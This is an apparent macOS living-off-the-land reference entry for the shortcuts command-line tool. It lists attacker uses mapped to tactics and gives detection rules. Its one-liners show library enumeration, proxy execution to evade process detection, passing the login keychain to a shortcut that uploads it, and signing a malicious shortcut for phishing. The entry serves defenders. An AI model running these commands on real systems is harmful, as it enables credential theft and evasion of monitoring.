shortcuts

shortcuts is the command-line interface to the Shortcuts app introduced in macOS Monterey. It can list the current user's shortcuts, run a shortcut by name or identifier with file input and output, and sign shortcut files for sharing. Shortcuts can contain scripting actions such as "Run Shell Script", "Run AppleScript", and "Run JavaScript for Automation", as well as actions that read files and send data to remote URLs. An attacker can use the shortcuts binary to proxy execution of these actions through an Apple-signed process, enumerate a user's existing automations, and prepare signed shortcut files for delivery to victims. Scripting actions only run when "Allow Running Scripts" is enabled in the Shortcuts Advanced settings.

Resource Development Initial Access Execution Stealth Discovery Collection Exfiltration

Path: /usr/bin/shortcuts
Author: Brendan Chamberlain (@infosecB)
Created: 2026-11-07

Example Use Cases 4

Enumerate a user's shortcuts #

List the shortcuts and folders in the current user's Shortcuts library, including their identifiers. Existing shortcuts can reveal automations that interact with sensitive apps, files, or services, and identify shortcuts that can be modified or run for proxy execution.

shortcuts list --show-identifiers
shortcuts list --folders

Discovery oneliner bash

Proxy execution of a shortcut that contains a scripting action #

Run a shortcut that contains a "Run Shell Script", "Run AppleScript", or "Run JavaScript for Automation" action. The script runs as a child of the Shortcuts infrastructure rather than as a direct child of the attacker's shell, which can break simple parent-child process detection logic.

shortcuts run "Update Helper"

Execution Stealth oneliner bash osascript

Pass a file to a shortcut for collection or exfiltration #

The --input-path option passes one or more files to a shortcut and --output-path writes its result to disk. A shortcut that uses the "Get Contents of URL" action can upload the supplied file to an attacker-controlled server.

shortcuts run "Backup" --input-path ~/Library/Keychains/login.keychain-db --output-path /tmp/result.txt

Collection Exfiltration oneliner file-transfer network

Sign a malicious shortcut for distribution #

Sign a shortcut file so that anyone can import it. Signed shortcuts can be delivered through phishing or downloads and imported by a victim with open, after which they can be run with shortcuts run.

shortcuts sign --mode anyone --input malicious.shortcut --output signed.shortcut
open signed.shortcut

Resource Development Initial Access bash

Detections

Process execution detection: shortcuts run invoked by a script interpreter, an unsigned process, or a process launched from a download or temporary directory
Process execution detection: shells or script interpreters (sh, bash, zsh, osascript, python3) spawned by the Shortcuts infrastructure (WorkflowKit / BackgroundShortcutRunner)
Command-line detection: shortcuts sign with --mode anyone, or shortcuts run with --input-path referencing credential stores such as ~/Library/Keychains, ~/.ssh, or browser profile directories